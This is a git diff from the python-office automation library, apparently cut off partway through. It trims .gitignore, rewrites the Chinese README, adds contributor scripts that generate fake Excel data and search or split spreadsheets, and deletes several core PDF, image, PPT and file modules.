diff --git a/.gitignore b/.gitignore index 9862bd4ec2f647c8447b67959b1ae2869c606f7a..5870c89b4cc354e638fce448d067f96eb8cd995b 100644 --- a/.gitignore +++ b/.gitignore @@ -6,144 +6,8 @@ node_modules .cache .temp venv/ - -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] -*$py.class - -# C extensions -*.so - -# Distribution / packaging -.Python build/ -develop-eggs/ dist/ -downloads/ -eggs/ -.eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -wheels/ -share/python-wheels/ -*.egg-info/ -.installed.cfg -*.egg -MANIFEST - - - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.nox/ -.coverage -.coverage.* -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover -.hypothesis/ -.pytest_cache/ -cover/ - -# Translations -*.mo -*.pot - -# Django stuff: -*.log -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# Scrapy stuff: -.scrapy - -# Sphinx docs -docs/_build/ - -# PyBuilder -.pybuilder/ -target/ - -# Jupyter Notebook -.ipynb_checkpoints - -# IPython -profile_default/ -ipython_config.py - -# pyenv -# For a library or package, you might want to ignore these files since the code is -# intended to run in multiple environments; otherwise, check them in: -# .python-version - -# pipenv -# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. -# However, in case of collaboration, if having platform-specific dependencies or dependencies -# having no cross-platform support, pipenv may install dependencies that don't work, or not -# install all needed dependencies. -#Pipfile.lock - -# PEP 582; used by e.g. github.com/David-OConnor/pyflow -__pypackages__/ - -# Celery stuff -celerybeat-schedule -celerybeat.pid - -# SageMath parsed files -*.sage.py - -# Environments -.env -.venv -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ - -# Spyder project settings -.spyderproject -.spyproject - -# Rope project settings -.ropeproject - -# mkdocs docs -/site - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# pytype static type analyzer -.pytype/ +*.egg-info -# Cython debug symbols -cython_debug/ +__pycache__ diff --git a/README-EN.md b/README-EN.md index 749cf0abb9a8806192139800b1e215c3f2bc26be..b3993d2cdecd8339c4103d7ed9e51c8184c2b98f 100644 --- a/README-EN.md +++ b/README-EN.md @@ -187,5 +187,5 @@ Buy us a cup of coffee if you appreciate python-office. Thank you sincerely.
- +
\ No newline at end of file diff --git a/README.md b/README.md index 3ac0c247b3eaeffd6672a4e193b7869bf0666a65..6ba7e49fc352cca1dc5611338a350d623c3e4034 100644 --- a/README.md +++ b/README.md @@ -1,13 +1,13 @@

- github license + github license

- 🍬python for office + 👉 项目官网：https://www.python-office.com/ 👈

- 👉 本开源项目的交流群 👈 + 👉 本开源项目的交流群 👈

@@ -39,7 +39,7 @@ gitee fork - +

@@ -56,8 +56,10 @@ ## 📚简介 Python-office 是一个 Python 自动化办公第三方库，能解决大部分自动化办公的问题。而且每个功能只需一行代码，不需要小白用户学习 Python 知识，做到了真正的开箱即用。 -> 功能持续更新中，提交你的功能需求/参与项目开发，联系👉[开发者微信](http://t.cn/A6XVQXAk) +> 功能持续更新中，提交你的功能需求/参与项目开发，联系👉[开发者微信](https://mp.weixin.qq.com/s/dAm2B09i2ZaqCwhwP-AEdQ) + +![](https://www.python-office.com/api/img-cdn/python-office/find_excel_data/group.jpg) ### 🍺特点 - 一键搭建所有 Python + 自动化办公的编程环境。 - 使用一行代码解决大部分自动化办公的问题，不需要小白学习 Python 知识 @@ -80,31 +82,34 @@ pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U ## 📝文档 -[📘中文文档](http://www.python4office.cn/python-office/profile/) +[📘官网：https://www.python-office.com/](https://www.python-office.com/) +全部功能的说明 -[🎬视频介绍](https://space.bilibili.com/259649365/channel/collectiondetail?sid=378950) +- 文字教程👉[传送门](https://www.python-office.com/guide/allFunc.html) +- 视频教程👉[传送门](https://www.python-office.com/video/video.html) -------------------------------------------------------------------------------- ## 🛠️包含组件 以下所有功能，都在逐步搭建中。 -| 模块 | 介绍 | -| ----------------------|---------------------------------------------------------------------------------- | -| excel | excel处理 | -| word | word处理 | -| ppt | ppt处理 | -| pdf | pdf处理 | -| file | 文件和文件夹的操作 | -| tools | 便捷小工具 | -| web | 网站快捷搭建 | -| email | 邮件功能 | -| image | 图片处理 | -| video | 视频处理 | -| ocr | 识别功能：文字识别、语音识别 | +| 模块 | 介绍 |GitHub地址| star| +| ----------------------|---------------------------------------------------------------------------------- |-----|-----| +| PyOfficeRobot | 聊天机器人 | https://github.com/CoderWanFeng/PyOfficeRobot |github star| +| search4file | 文档搜索 | https://github.com/CoderWanFeng/search4file |github star| +| poexcel | excel处理 |https://github.com/CoderWanFeng/poexcel |github star| +| poword | word处理 |https://github.com/CoderWanFeng/poword |github star| +| poppt | ppt处理 |https://github.com/CoderWanFeng/poppt |github star| +| popdf | pdf处理 |https://github.com/CoderWanFeng/popdf |github star| +| pofile | 文件和文件夹的操作 |https://github.com/CoderWanFeng/pofile |github star| +| wftools | 便捷小工具 |https://github.com/CoderWanFeng/wftools |github star| +| poimage | 图片处理 |https://github.com/CoderWanFeng/poimage |github star| +| povideo | 视频处理 |https://github.com/CoderWanFeng/povideo |github star| +| web（名称待定） | 网站快捷搭建 | | | +| email（名称待定） | 邮件功能 | | | +| ocr（名称待定） | 识别功能：文字识别、语音识别 | | | 可以根据需求对每个模块单独引入，也可以通过`import office`方式引入所有模块。 @@ -116,41 +121,14 @@ pip install -i https://pypi.tuna.tsinghua.edu.cn/simple python-office -U ### 📐PR的建议 -python-office欢迎任何人来添砖加瓦，贡献代码，建议提交的pr（pull request）符合一些规范，规范如下： - -参与项目建设的步骤： -- 例如：你需要给python-office添加一个add方法。 - 1. 你的Github账户名为：demo - 2. 于是你在./contributors新建了文件夹./demo - 3. 新建了add.py文件，编辑你的代码 - 4. 编辑完成，提交pr到master分支（gitee或者GitHub，都可以）。可以注明你对自己功能的取名建议 - 5. 晚枫收到后，会对各位的代码进行测试后，合并后打包上传到python官方库 - -### 📐代码规范 - -1. 注释完备，尤其每个新增的方法应按照Google Python文档规范标明方法说明、参数说明、返回值说明等信息，必要时请添加单元测试，如果愿意，也可以加上你的大名。 -2. python-office的文档，需要进行格式化。注意：只能格式化你自己的代码 -3. 请直接pull request到`master`分支。`master`是主分支，表示已经发布pypi库的版本。**未来参与人数增多，会开辟新的分支，请留意本文档的更新。** -4. 我们如果关闭了你的issue或pr，请不要诧异，这是我们保持问题处理整洁的一种方式，你依旧可以继续讨论，当有讨论结果时我们会重新打开。 +python-office欢迎任何人来添砖加瓦，贡献代码，建议提交的pr（pull request）放在一个单独的文件夹下： +- 在[contributors](https://github.com/CoderWanFeng/python-office/tree/master/contributors)文件夹中，用自己的GitHub名字建一个文件夹； +- 把自己的所有代码，都提交到这个自己的文件夹里； +- 不要改其它任何文件夹里的代码！不要改别人的代码！ +- 对别人的代码有疑问，可以直接提issue。 -### 🧬贡献代码的步骤 -1. 在Gitee或者Github上fork项目到自己的repo -2. 把fork过去的项目也就是你的项目clone到你的本地 -3. 修改代码 -4. commit后push到自己的库 -5. 登录Gitee或Github在你首页可以看到一个 pull request 按钮，点击它，填写一些说明信息，然后提交到master分支即可。 -6. 等待维护者合并 - -### 🎋分支说明 - -python-office的源码分为两个分支，功能如下： - -| 分支 | 作用 | -|-----------|---------------------------------------------------------------| -| master | 主分支，pypi发布版本使用的分支,可以直接pr | -| develop | 开发分支，供大家各自开发使用 | ### 🐞提供bug反馈或建议 @@ -165,12 +143,10 @@ python-office的源码分为两个分支，功能如下： ### 💳捐赠 -如果你觉得python-office错，可以捐赠请维护者喝杯咖啡~，在此表示感谢^_^。 +如果你觉得python-office不错，可以捐赠请维护者喝杯咖啡~，在此表示感谢^_^。 [捐赠给项目](https://gitee.com/CoderWanFeng/python-office) 👈该项捐赠仅用于支持本项目发展使用 -[捐赠给程序员晚枫](http://python4office.cn/images/wechat-pay.jpg) - ------------------------------------------------------------------------------- @@ -178,9 +154,7 @@ python-office的源码分为两个分支，功能如下： [![Stargazers over time](https://starchart.cc/CoderWanFeng/python-office.svg)](https://starchart.cc/CoderWanFeng/python-office) -## 📌公众号&开源小组 +## 📌联系作者 + -
- - -
\ No newline at end of file +![CoderWanFeng](https://python-office-1300615378.cos.ap-chongqing.myqcloud.com/qr-code.jpg) diff --git a/__init__.py b/__init__.py deleted file mode 100644 index 580c9462cf093785ec3207d1b18b3d2abf93a736..0000000000000000000000000000000000000000 --- a/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from . import office \ No newline at end of file diff --git a/contributors/archer/fake2excel b/contributors/archer/fake2excel new file mode 100644 index 0000000000000000000000000000000000000000..7c4bd33974d8579365ce036e21595eb8f4510f6c --- /dev/null +++ b/contributors/archer/fake2excel @@ -0,0 +1,92 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- + +############################################# +# File Name: excel.py +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 excel 的自动化操作 +############################################# + +from faker import Faker +import pandas as pd +from alive_progress import alive_bar + +import numpy as np + + +def reduce_pandas_mem_usage(df): + # start_mem = df.memory_usage().sum() / 1024 ** 2 + # print('Memory usage of dataframe is {:.2f} MB'.format(start_mem)) + + for col in df.columns: # Iterate all the columns + col_type = df[col].dtype # Get the dtype of the column + + if col_type != object: # If the column is not object + c_min = df[col].min() # Get the minimum value + c_max = df[col].max() # Get the maximum value + if str(col_type)[:3] == 'int': # If the column is integer + if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max: + # If the column is within 8-bit integer range + df[col] = df[col].astype(np.int8) # Convert to int8 + elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max: + df[col] = df[col].astype(np.int16) + elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max: + df[col] = df[col].astype(np.int32) + elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max: + df[col] = df[col].astype(np.int64) + else: + if 'date' in col: + pass + else: + df[col] = df[col].astype('category') + + # end_mem = df.memory_usage().sum() / 1024 ** 2 + # print('Memory usage after optimization is: {:.2f} MB'.format(end_mem)) + # print('Decreased by {:.1f}%'.format(100 * (start_mem - end_mem) / start_mem)) + + return df + + +def fake2excel(columns=None, rows=1, language='zh_CN', path='./fake2excel.xlsx'): + """ + @Author & Date : CoderWanFeng 2022/5/13 0:12 + @Desc : columns:list，每列的数据名称，默认是名称 + rows：多少行，默认是1 + language：什么语言，可以填english，默认是中文 + path：输出excel的位置，有默认值 + """ + # 可以选择英语 + if columns is None: + columns = ['name'] + if language.lower() == 'english': + language = 'en_US' + # 开始造数 + fake = Faker(language) + excel_dict = {} + with alive_bar(len(columns) * rows) as bar: + for column in columns: # 循环每一列 + excel_dict[column] = [] # 初始化每一列 + while len(excel_dict[column]) < rows: # 循环每一列的每一行 + excel_dict[column].append(eval(f'fake.{column}()')) # 往每一列的每一行里面添加数据 + bar() # 动态显示进度 + # 用pandas，将模拟数据，写进excel里面 + writer = pd.ExcelWriter(path) # 创建一个ExcelWriter对象 + data = pd.DataFrame(excel_dict) # 将字典转换成DataFrame + data = reduce_pandas_mem_usage(data) # 压缩数据 + data.to_excel(writer, index=False) # 将数据写入Excel + writer.save() + + +def fake2excel_dateframe(columns, names, rows=1, language='zh_CN'): + # language = 'en_US' # 可以选择英语 + fake = Faker(language) + excel_dict = {} + # 改动部分 + for column, name in zip(columns, names): + excel_dict[name] = [] + while len(excel_dict[name]) < rows: # 循环每一列的每一行 + excel_dict[name].append(eval(f'fake.{column}')) # 往每一列的每一行里面添加数据 + data = pd.DataFrame(excel_dict) # 将字典转换成DataFrame + return data + diff --git a/contributors/bulabean/SEdemo.xlsx b/contributors/bulabean/SEdemo.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..7e6d6e3172224a7545859b8ce0c308ca9270a802 Binary files /dev/null and b/contributors/bulabean/SEdemo.xlsx differ diff --git a/contributors/bulabean/SearchExcel.py b/contributors/bulabean/SearchExcel.py new file mode 100644 index 0000000000000000000000000000000000000000..6948e0f425d033e06c3c332b239d1f4ab251d559 --- /dev/null +++ b/contributors/bulabean/SearchExcel.py @@ -0,0 +1,137 @@ +import os +import openpyxl +import xlrd +import datetime +import time + +def change_datatype(row_data: list): + """ + excel单元格的内容类型检测和转换 + 参数： + row_data：行数据，列表格式 + """ + result_data = [] + for rd in row_data: + if type(rd) == datetime.datetime: + t = rd.strftime("%Y-%m-%d %H:%M:%S") + elif type(rd) == str: + t = rd + elif type(rd) == int: + t = str(rd) + elif type(rd) == float: + t = str(rd) + elif type(rd) is None: + t = '' + else: + t = str(rd) + result_data.append(t) + return result_data + + +def find_key(search_key: str, row_content: str): + """ + 检测关键词和内容 + 参数： + search_key：关键词 + row_content：行内容 + """ + if search_key in row_content: + return True + else: + return False + + +def process_xls(path, file): + """ + 读取xls后缀的excel文件 + 参数： + path：文件所在路径 + file：文件名 + """ + filepath = os.path.join(path, file) + try: + rb = xlrd.open_workbook(filepath, formatting_info=True) + except: + return False + sheet_names = rb.sheet_names() + space_line = 0 + for ws_name in sheet_names: + ws = rb.sheet_by_name(ws_name) + rows = ws.nrows + cols = ws.ncols + for r in range(rows): + values = [ws.cell(r, c).value for c in range(cols)] + values = change_datatype(values) + values = " ".join(values) + if values: + yield filepath, ws_name, r, values # 文件路径，工作表名，行数，行内容 + else: + if space_line < 10: + space_line += 1 + else: + break + + +def process_xlsx(path, file): + """ + 读取xlsx后缀的excel文件 + 参数： + path：文件所在路径 + file：文件名 + """ + filepath = os.path.join(path, file) + try: + wb = openpyxl.load_workbook(filepath, read_only=True, data_only=True) + except: + return False + worksheets_name = wb.sheetnames + space_line = 0 + for ws_name in worksheets_name: + ws = wb[ws_name] + for index, row in enumerate(ws.rows): + values = [r.value for r in row if r.value != None] + values = change_datatype(values) + values = " ".join(values) + if values: + yield filepath, ws_name, index, values # 文件路径，工作表名，行数，行内容 + else: + if space_line < 10: + space_line += 1 + else: + break + + +def find_excel_data(search_key: str, target_dir: str): + """ + 检索指定目录下的excel文件和过滤 + 参数： + search_key：检索的关键词 + target_dir：目标文件夹 + """ + for path, dirs, files in os.walk(target_dir): + files = [file for file in files if not file.startswith('~$')] # 过滤掉正打开的excel文件 + xls_files = [file for file in files if file.endswith('.xls')] # 取出所有的xls后缀文件 + xlsx_files = [file for file in files if file.endswith('.xlsx')] # 取出所有的xlsx后缀文件 + for xls in xls_files: + for data in process_xls(path, xls): + filepath, ws_name, index, values = data + status = find_key(search_key, values) + if status: + yield filepath, ws_name, index, values + for xlsx in xlsx_files: + for data in process_xlsx(path, xlsx): + filepath, ws_name, index, values = data + status = find_key(search_key, values) + if status: + yield filepath, ws_name, index, values # 输出内容：路径/文件名、工作表名、行数、行内容 + + +if __name__ == '__main__': + + time1 = time.time() + search_key = '刘家站垦殖场' + target_dir = './' + for data in find_excel_data(search_key, target_dir): + print(list(data)) + time2 = time.time() + print("\n程序运行结束，停止运行。耗时：{}秒".format(round(time2 - time1, 2))) diff --git a/contributors/bulabean/SplitExcel.py b/contributors/bulabean/SplitExcel.py new file mode 100644 index 0000000000000000000000000000000000000000..f0af992eb598f79bd6d8aeab45089d1a6e745011 --- /dev/null +++ b/contributors/bulabean/SplitExcel.py @@ -0,0 +1,91 @@ +import os +import xlrd, xlwt +import openpyxl +import datetime +# + +def generate_xls(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xls', '_Split_{}.xls'.format(datetime_str)) + new_workbook = xlwt.Workbook(encoding='utf-8') + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.add_sheet(worksheet_name) + for row_index, row_data in enumerate(row_data_list): + for column_index, data in enumerate(row_data): + new_worksheet.write(row_index, column_index, data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xls(filepath, column: int, worksheet_name: str = None): + try: + workbook = xlrd.open_workbook(filepath, formatting_info=True) + except: + return "文件读取异常：{}".format(filepath) + if worksheet_name: + worksheet = workbook.sheet_by_name(worksheet_name) + else: + worksheet = workbook.sheet_by_index(0) + rows = worksheet.nrows + cols = worksheet.ncols + split_data_dict = {} + for r in range(rows): + row_data = [worksheet.cell(r, c).value if worksheet.cell(r, c).value else ' ' for c in range(cols)] + temp_data = row_data[column-1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xls(filepath, split_data_dict) + return "数据保存在新文件中，文件名：{}".format(new_filepath) + + +def generate_xlsx(filepath: str, worksheet_data: dict): + datetime_str = datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S') + new_filepath = filepath.replace('.xlsx', '_Split_{}.xlsx'.format(datetime_str)) + new_workbook = openpyxl.Workbook() + for worksheet_name, row_data_list in worksheet_data.items(): + new_worksheet = new_workbook.create_sheet(worksheet_name) + for row_data in row_data_list: + new_worksheet.append(row_data) + new_workbook.save(new_filepath) + return new_filepath + + +def process_xlsx(filepath:str, column: int, worksheet_name: str = None): + try: + workbook = openpyxl.load_workbook(filepath, read_only=True, data_only=True) + except: + return "文件读取异常：{}".format(filepath) + if worksheet_name: + worksheet = workbook.get_sheet_by_name(worksheet_name) + else: + worksheet = workbook.active + if worksheet.max_column < column: + return "最大列数是{}，取不到第{}列".format(worksheet.max_column, column) + + split_data_dict = {} + for row in worksheet.rows: + row_data = [cell.value if cell.value else ' 'for cell in row] + temp_data = row_data[column-1] + temp_data_list = split_data_dict.get(temp_data, []) + temp_data_list.append(row_data) + split_data_dict[temp_data] = temp_data_list + new_filepath = generate_xlsx(filepath, split_data_dict) + return "数据保存在新文件中，文件名：{}".format(new_filepath) + + +def split_excel(filepath:str, column:int, worksheet_name: str=None): + if filepath.endswith('.xlsx'): + result = process_xlsx(filepath, column, worksheet_name) + elif filepath.endswith('.xls'): + result = process_xls(filepath, column, worksheet_name) + else: + return "文件格式不对，不进行处理" + return result + + +if __name__ == "__main__": + filename = 'sedemo.xls' + # filename = 'SEdemo.xlsx' + result = split_excel(filename, 6) # 处理文件，表格的第六列，worksheet_name指定工作表，不指定则读取文件默认工作表 + print(result) diff --git a/contributors/bulabean/sedemo.xls b/contributors/bulabean/sedemo.xls new file mode 100644 index 0000000000000000000000000000000000000000..8e814e90b86af6fce4de85fc4ee0e4dd39d9c97f Binary files /dev/null and b/contributors/bulabean/sedemo.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls b/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-23_203011.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls b/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-23_203413.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-30_001816.xls b/contributors/bulabean/sedemo_Split_2022-08-30_001816.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-30_001816.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-30_002732.xls b/contributors/bulabean/sedemo_Split_2022-08-30_002732.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-30_002732.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-30_002910.xls b/contributors/bulabean/sedemo_Split_2022-08-30_002910.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-30_002910.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-30_003203.xls b/contributors/bulabean/sedemo_Split_2022-08-30_003203.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-30_003203.xls differ diff --git a/contributors/bulabean/sedemo_Split_2022-08-30_003422.xls b/contributors/bulabean/sedemo_Split_2022-08-30_003422.xls new file mode 100644 index 0000000000000000000000000000000000000000..bb620692e017731d01b3a4e582a5f8096b6d7e45 Binary files /dev/null and b/contributors/bulabean/sedemo_Split_2022-08-30_003422.xls differ diff --git a/core/ExcelType.py b/core/ExcelType.py deleted file mode 100644 index 28e6081e54c71fbcde62a108ab411c59734b15f8..0000000000000000000000000000000000000000 --- a/core/ExcelType.py +++ /dev/null @@ -1,35 +0,0 @@ -from faker import Faker -import pandas as pd -from alive_progress import alive_bar -from lib.utils import pandas_mem - - -class MainExcel(): - - def fake2excel(self, columns, rows, language, path): - """ - @Author & Date : CoderWanFeng 2022/5/13 0:12 - @Desc : columns:list，每列的数据名称，默认是名称 - rows：多少行，默认是1 - language：什么语言，可以填english，默认是中文 - path：输出excel的位置，有默认值 - """ - # 可以选择英语 - if language.lower() == 'english': - language = 'en_US' - # 开始造数 - fake = Faker(language) - excel_dict = {} - with alive_bar(len(columns) * rows) as bar: - for column in columns: - excel_dict[column] = list() - # excel_dict[column] = map(lambda x: eval('fake.{func}()'.format(func=x)), [column] * rows) # 使用map，会报错 - while len(excel_dict[column]) < rows: - excel_dict[column].append(eval('fake.{func}()'.format(func=column))) - bar() - # 用pandas，将模拟数据，写进excel里面 - writer = pd.ExcelWriter(path) - data = pd.DataFrame(excel_dict) - data = pandas_mem.reduce_pandas_mem_usage(data) - data.to_excel(writer, index=False) - writer.save() diff --git a/core/FileType.py b/core/FileType.py deleted file mode 100644 index 8ac86555ad01944d14de994820bac4520272b768..0000000000000000000000000000000000000000 --- a/core/FileType.py +++ /dev/null @@ -1,29 +0,0 @@ -import os -from alive_progress import alive_bar - - -class MainFile(): - - def replace4filename(self, path, del_content, replace_content): - """ - :param path: 需要替换的文件夹路径 - :param del_content: 需要删除/替换的内容 - :param replace_content: 替换后的内容，可以不填 = 直接删除 - :return: - """ - # 获取该目录下所有文件，存入列表中；不包含子文件夹 - fileList = os.listdir(path) - work_count = 0 - with alive_bar(len(fileList)) as bar: - for old_file_name in fileList: # 依次读取该路径下的文件名 - bar() # 进度条 - if del_content in old_file_name: - - if replace_content: - new_file_name = old_file_name.replace(del_content, replace_content) - else: - new_file_name = old_file_name.replace(del_content, '') - os.rename(path + os.sep + old_file_name, path + os.sep + new_file_name) - work_count = work_count + 1 - print("当前目录下，共有{}个文件/文件夹，本次运行共进行了{}个文件/文件夹的重命名".format(len(fileList), work_count)) - diff --git a/core/ImageType.py b/core/ImageType.py deleted file mode 100644 index 50b01f9e0ae4903ed48c20770bda32c2b5128c09..0000000000000000000000000000000000000000 --- a/core/ImageType.py +++ /dev/null @@ -1,62 +0,0 @@ -import os -# from lib.image import add_watermark_service -# 生成词云需要使用的类库 -from PIL import Image -from alive_progress import alive_bar - -from lib.image import add_watermark_service - - -class MainImage(): - - # 自动生成gif - def image2gif(self): - im = Image.open("1.jpg") - images = [] - images.append(Image.open('2.jpg')) - images.append(Image.open('3.jpg')) - im.save('gif.gif', save_all=True, append_images=images, loop=1, duration=1, comment=b"aaabb") - - # from wordcloud import WordCloud - # import jieba - - # def txt2wordcloud(filename, color="white", result_file="your_wordcloud.png"): - # """ - # @Author & Date : CoderWanFeng 2022/4/28 9:26 - # @Desc : 生成词云的代码，可以添加更多个性化功能 - # @Return ： - # """ - # with open(filename, encoding='utf8') as fp: - # text = fp.read() - # # 将读取的中文文档进行分词 - # # 接收分词的字符串 - # word_list = jieba.cut(text) - # # 分词后在单独个体之间加上空格 - # cloud_text = " ".join(word_list) - # - # # 生成wordcloud对象 - # wc = WordCloud(background_color=color, - # max_words=200, - # min_font_size=15, - # max_font_size=50, - # width=400, - # font_path="msyh.ttc", # 默认的简体中文字体，没有会报错 - # ) - # wc.generate(cloud_text) - # wc.to_file(result_file) - - def add_watermark(self, file, mark, out="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30): - """ - @Author & Date : demo 2022/5/6 14:33 - @Desc : 给图片添加水印 - @Return ： 添加了水印的图片，输出到out指定的文件夹 - """ - if os.path.isdir(file): - names = os.listdir(file) - with alive_bar(len(names)) as bar: - for name in names: - bar() - image_file = os.path.join(file, name) - add_watermark_service.add_mark2file(image_file, mark, out, color, size, opacity, space, angle) - else: - add_watermark_service.add_mark2file(file, mark, out, color, size, opacity, space, angle) diff --git a/core/PDFType.py b/core/PDFType.py deleted file mode 100644 index ec1376fc11e122089818f93b60bf0b7c9532a393..0000000000000000000000000000000000000000 --- a/core/PDFType.py +++ /dev/null @@ -1,79 +0,0 @@ -import os -from fpdf import FPDF -from lib.pdf import add_watermark_service -import pikepdf -from PyPDF2 import PdfFileReader, PdfFileWriter -from pdf2docx import Converter - - -class MainPDF(): - - def add_watermark(self): - pdf_file_in = input("请输入需要添加水印的文件位置：") # 需要添加水印的文件 - Watermark_Str = input("请输入需要添加的水印内容：") - print('=' * 20) - print('正在按要求，给你的PDF文件添加水印，请让程序飞一会儿~') - print('=' * 20) - pdf_file_mark = 'watermark.pdf' # 水印文件 - add_watermark_service.create_watermark(str(Watermark_Str)) - pdf_file_out = '添加了水印的文件.pdf' # 添加PDF水印后的文件 - add_watermark_service.pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out) - print("水印添加结束，请打开电脑上的这个位置，查看结果文件：{path}".format(path=os.getcwd())) - - def file2pdf(self, file_type, path, res_pdf='file2pdf.pdf'): - if file_type == 'txt': - pdf = FPDF() - pdf.add_page() # Add a page - pdf.set_font("Arial", size=15) # set style and size of font - f = open(path, "r") # open the text file in read mode - # insert the texts in pdf - for x in f: - pdf.cell(50, 5, txt=x, ln=1, align='C') - # pdf.output("path where you want to store pdf file\\file_name.pdf") - pdf.output(res_pdf) - - def pdf2docx(self, file_path): - try: - pdf_name = file_path.split('.')[0] - word_name = pdf_name + '.docx' - cv = Converter(file_path) - cv.convert(word_name) - cv.close() - except: - print('这个文件有问题~！') - - # 合并pdf - def merge2pdf(self, one_by_one, output): - """ - @Author & Date : CoderWanFeng 2022/5/16 23:33 - @Desc : merge_pdfs(paths=['开篇词.pdf', '中国元宇宙白皮书 (送审稿).pdf'], output='merge.pdf') - """ - pdf_writer = PdfFileWriter() - - for path in one_by_one: - pdf_reader = PdfFileReader(path) - for page in range(pdf_reader.getNumPages()): - # 把每张PDF页面加入到这个可读取对象中 - pdf_writer.addPage(pdf_reader.getPage(page)) - - # 把这个已合并了的PDF文档存储起来 - with open(output, 'wb') as out: - pdf_writer.write(out) - - # PDF加密 - def encrypt4pdf(self, path, password, res_pdf='encrypt.pdf'): - """ - @Author & Date : CoderWanFeng 2022/5/9 18:27 - @Desc : path: 存放文件的路径 - password: 你的密码 - res_pdf: 结果文件的名称 ，可以为空，默认是：encrypt.pdf - """ - pdf = pikepdf.open(path) - pdf.save(res_pdf, encryption=pikepdf.Encryption(owner=password, user=password, R=4)) - pdf.close() - - # PDF解密 - def decrypt4pdf(self, path, password, res_pdf='decrypt.pdf'): - pdf = pikepdf.open(path, password=password) - pdf.save(res_pdf) - pdf.close() diff --git a/core/PPTType.py b/core/PPTType.py deleted file mode 100644 index 4e02b09a64902ed99b3b952e74f2ff4d23878801..0000000000000000000000000000000000000000 --- a/core/PPTType.py +++ /dev/null @@ -1,30 +0,0 @@ -import os -import time - -from lib.ppt.ppt2pdf_service import ppt2pdf_single - - -class MainPPT(): - - def ppt2pdf(self, path): - """ - @Author & Date : CoderWanFeng 2022/5/9 23:34 - @Desc : path:存放ppt的路径，必须写绝对路径~！ - """ - # 列出指定目录的内容 - filenames = os.listdir(path) - # for循环依次访问指定目录的所有文件名 - for filename in filenames: - # 判断文件的类型，对所有的ppt文件进行处理(ppt文件以ppt或者pptx结尾的) - if filename.endswith('ppt') or filename.endswith('pptx'): - # print(filename) # PPT素材1.pptx -> PPT素材1.pdf - # 将filename以.进行分割，返回2个信息，文件的名称和文件的后缀名 - base, ext = filename.split('.') # base=PPT素材1 ext=pdf - new_name = base + '.pdf' # PPT素材1.pdf - # ppt文件的完整位置: C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pptx - filename = path + '/' + filename - # pdf文件的完整位置: C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pdf - output_filename = path + '/' + new_name - # 将ppt转成pdf文件 - ppt2pdf_single(filename, output_filename) - time.sleep(3) diff --git a/core/SearchByContentType.py b/core/SearchByContentType.py deleted file mode 100644 index 217b433c8b558bccd1da2b2618053fc937889bb6..0000000000000000000000000000000000000000 --- a/core/SearchByContentType.py +++ /dev/null @@ -1,22 +0,0 @@ -import glob - - -class MainSearchByContent(): - def search_by_content(self, search_path, content): # 定义 search() 函数，传入 "path" 文件路径， "target" 要查找的目标文件 - """ - 获取当前路径下所有内容 - 判断每个内容的类型（文件夹还是文件） - 若是文件夹则继续递归查找 - """ - glob_path = glob.glob(search_path) - for file_path in glob_path: # for 循环判断递归查到的内容是文件夹还是文件 - if glob.os.path.isdir(file_path): # 若是文件夹，继续将该文件夹的路径传给 search() 函数继续递归查找 - _path = glob.os.path.join(file_path, '*') - self.search_by_content(_path, content) - else: 